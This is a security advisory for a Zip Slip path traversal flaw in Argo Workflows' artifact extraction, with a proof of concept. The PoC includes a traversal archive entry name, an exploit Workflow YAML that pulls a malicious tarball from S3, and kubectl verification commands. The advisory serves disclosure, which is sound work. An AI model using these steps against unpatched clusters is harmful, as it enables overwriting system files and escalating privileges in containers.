GHSA-p84v-gxvw-73pf Argo Workflow has a Zipslip Vulnerability

• Go github.com/argoproj/argo-workflows/v3: < 3.6.12 → fixed in 3.6.12 • Go github.com/argoproj/argo-workflows/v3: >= 3.7.0, < 3.7.3 → fixed in 3.7.3

Vulnerability Description Vulnerability Overview 1. During the artifact extraction process, the `unpack()` function extracts the compressed file to a temporary directory (`/etc.tmpdir`) and then attempts to move its contents to `/etc` using the `rename()` system call, 2. However, since `/etc` is an already existing system directory, the `rename()` system call fails, making normal archive extraction impossible. 3. At this point, if a malicious user sets the entry name inside the `tar.gz` file to a path traversal like `../../../../../etc/zipslip-poc`, 4. The `untar()` function combines paths using `filepath.Join(dest, filepath.Clean(header.Name))` without path validation, resulting in `target = "/work/input/../../../../../etc/zipslip-poc"`, 5. Ultimately, the `/etc/zipslip-poc` file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories. untar(): Writing Files Outside the Extraction Directory https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993 1. Base Path: `/work/tmp` (dest) — The intended extraction directory in the wait container 2. Malicious Entry: `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` (`header.Name`) — Path traversal payload 3. Path Cleaning: `filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt` — Go’s path cleaning normalizes the traversal 4. Path Joining: `filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt` — Absolute path overrides base directory 5. File Creation: `/mainctrfs/etc/zipslip-ok.txt` file is created in the wait container 6. Volume Mirroring: The file appears as `/etc/zipslip-ok.txt` in the main container due to volume mount mirroring PoC PoC Description 1. The user uploaded a malicious `tar.gz` file to S3 that contains path traversal entries like `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` designed to exploit the vulnerability. 2. In the Argo Workflows YAML, the artifact’s path is set to `/work/tmp`, which should normally extract the archive to that intended directory. 3. However, due to the vulnerability in the `untar()` function, `filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt")` resolves to `/mainctrfs/etc/zipslip-ok.txt`, causing files to be created in unintended locations. 4. Since the wait container’s `/mainctrfs/etc` and the main container’s `/etc` share the same volume, files created in the wait container become visible in the main container’s `/etc/` directory. 5. Consequently, the archive that should extract to `/work/tmp` exploits the Zip Slip vulnerability to create files in the `/etc/` directory, enabling manipulation of system configuration files. exploit yaml ```yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: zipslip- spec: entrypoint: main templates: • name: main container: image: ubuntu:22.04 command: ["sh"] args: ["-c", "echo 'Starting container'; sleep 3000"] volumeMounts: • name: etcvol mountPath: /etc inputs: artifacts: • name: evil path: /work/tmp archive: tar: {} http: url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz" volumes: • name: etcvol emptyDir: {} ``` exploit 1. Create Zipslip 2. Upload S3 3. Create Workflow 4. Run 5. Exploit Success ```bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt ``` Impact Container Isolation Bypass The Zip Slip vulnerability allows attackers to write files to system directories like `/etc/` within the container, potentially overwriting critical configuration files such as `/etc/passwd`, `/etc/hosts`, or `/etc/crontab`, which could lead to privilege escalation or persistent access within the compromised container.